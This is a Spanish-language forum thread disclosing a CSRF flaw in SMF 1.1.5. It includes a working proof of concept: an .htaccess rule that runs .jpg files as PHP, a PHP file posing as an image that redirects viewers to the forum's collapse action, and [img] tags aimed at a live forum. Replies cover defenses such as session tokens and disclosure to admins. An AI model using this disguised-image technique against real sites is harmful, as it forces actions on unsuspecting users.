Por un foro limpio y ordenado vivan los CSRF de SMF 1.1.5 :P
visualiza el index del foro (http://foro.elhacker.net/).
Fuente:
http://www.jccharry.com/comunidad/index.php?board=8.0
[img]http://www.jccharry.com/pruebas/smf1.0.5/1.jpg?colapsar=1&url=http://foro.elhacker.net/[/img]
[img]http://www.jccharry.com/pruebas/smf1.0.5/1.jpg?colapsar=2&url=http://foro.elhacker.net/[/img]
[img]http://www.jccharry.com/pruebas/smf1.0.5/1.jpg?colapsar=4&url=http://foro.elhacker.net/[/img]
[img]http://www.jccharry.com/pruebas/smf1.0.5/1.jpg?colapsar=6&url=http://foro.elhacker.net/[/img]
[img]http://www.jccharry.com/pruebas/smf1.0.5/1.jpg?colapsar=9&url=http://foro.elhacker.net/[/img]
[img]http://www.jccharry.com/pruebas/smf1.0.5/1.jpg?colapsar=10&url=http://foro.elhacker.net/[/img]
Hay algún riesgo para un User ???...
Mmm... creo que se podrían tener datos valiosos o no ???... se supone que estan visualizando un "imagen" de tu Server donde se almacenan direcciones IP... además de poder ejecutar algún Script dentro de este mismo no es asi ???
Saludos cordiales...
Bueno, eso de ejecutar scripts atraves de imagenes es otro tema :P, claramente se podría tener tu ip ta,bién pero este no es el tema.
La falla solo puede hacer que el index se te vean todas las secciones colapsadas cada ves que veas la firma de alguien que tega ánimos de molestar.
Es decir, basicamente, si creas un .htaccces con el codigo
<Files *.jpg>
ForceType application/x-httpd-php
</Files>
y luego un archivo .php renombrado a x ejemplo bug.jpg con este codigo
<?php
/*
Prueba del concepto del XSRF en FMS => 1.1.5
http://www.jccharry.com/comunidad/
WHK - The hacktivism is not a crime.
*/
error_reporting(0);
$url = str_replace("cript","_",strtolower($_GET['url']));
if(is_numeric($_GET['colapsar']) and $url){
header("location: ".$url."/index.php?action=collapse;c=".$_GET['colapsar'].";sa=collapse;#".$_GET['colapsar']);
}else{
header("Content-type: image/png");
echo base64_decode("iVBORw0KGgoAAAANSUhEUgAAAAsAAAARCAYAAAAL4VbbAAAAQUlEQVQokWP8//8/A7GAiWiVpCpmQRdgZGSEu+v///+MWBUjKyLojP///zOim4RTMTFgVPEgVMwIS8/40gYsGQAA4yQVHW/Zg08AAAAASUVORK5CYII=");
}
?>
Al ponerlo en tu host y luego en la web, se "estropearia" ? es asin ?
Si la verdad que es bastante molesto >:( saludos.
Por curiosidad tengo dos cuestiones:
supongo que el noscript no te libra de XSRF al no utilizar un script ¿hay algo que pueda hacer el usuario en su navegador para evitarlo?
Hablo del XSRF en general.
Y la segunda cuestión, donde pongo un 222222 ¿eso es el token que evita que se pueda hacer lo mismo pero borrando un mensaje?
/deletemsg.html;topic=1;msg=1;sesc=222222
Citarsupongo que el noscript no te libra de XSRF al no utilizar un script ¿hay algo que pueda hacer el usuario en su navegador para evitarlo?
Hablo del XSRF en general.
en las opociones de no-script tienes la posibilidad de bloquear iframes , aunque esto no es una solución al 100% evitará muchos problemas.
Para evitar el redireccionamiento en headers no conozco nada. Talves pueda haber algún complemento que bloquee las redirecciones desde un header.
De todas formas siempre hay una forma de hacerlo, puedes evitar ataques pero no todos.
CitarY la segunda cuestión, donde pongo un 222222 ¿eso es el token que evita que se pueda hacer lo mismo pero borrando un mensaje?
Citar/deletemsg.html;topic=1;msg=1;sesc=222222
Exacto, aunque hay otras muchas formas pero esa es solo una.
Muchisimas gracias por tu contestación, hare las pruebas bloqueando iframes con noscript porque no he encontrado otra manera.
¿Hay ya algun parche que añada un token a la acción de colapsar? ¿Alguna solucion que no sea quitar la opción de colapsar en el SMF?
Y por último y para evitar futuros malentendidos, supongo que antes de hacer esto avisarias a los administradores de este foro. Si no, no habría durado tanto este post y en vez de ser modificado el primer post habria sido borrado.
Esto último va por si alguien se le ocurre hacer la gracia en este foro o en cualquier otro que sepa que seguramente será baneado.
Citar¿Hay ya algun parche que añada un token a la acción de colapsar? ¿Alguna solucion que no sea quitar la opción de colapsar en el SMF?
SMF tiene la opción en "boards" o "foros" de asignar cual puede colapsarse y cual no, habría que darle la opción a cada uno de no colapsar.
Esta sería una solución temporal ya que la idea es que si se pueda colapsar pero no involuntariamente.
CitarY por último y para evitar futuros malentendidos, supongo que antes de hacer esto avisarias a los administradores de este foro. Si no, no habría durado tanto este post y en vez de ser modificado el primer post habria sido borrado.
Le avisé a un coadmin para que deshabilitara los colapsos de foros pero no se si lo hará o no, yo lo hice y no creo que el admin se moleste o si no me lo hubiera hecho saber, es mas... si lo hubiera posteado en otro sitio de seguro lo hubieran probado acá primero sin avisarle a nadie y por lo menos acá ya todos están consientes del bug.
Si lo modificaron y no lo borraron es porque tienen el criterio que a otros le faltan.
CitarLe avisé a un coadmin para que deshabilitara los colapsos de foros pero no se si lo hará o no, yo lo hice y no creo que el admin se moleste o si no me lo hubiera hecho saber, es mas... si lo hubiera posteado en otro sitio de seguro lo hubieran probado acá primero sin avisarle a nadie y por lo menos acá ya todos están consientes del bug.
Probablemente si se haga :¬¬ :¬¬
Una Duda modificando el código PHP se podría desloguear al usuario, es que no se si el deslogueo trabaja con hash o solamente un link.
Saludos, Dacan :D
si miras el boton de salir, por ejemplo, veras que efectivamente tiene un identificador que se ha generado con el user/sesion
http://foro.elhacker.net/logout.html;sesc=30fb6bxxxxxxxxxxxxxxxxx
Ok Gracias, Entonces que mas se podría hacer con el XSRF en estos foros.
Saludos, Dacan :D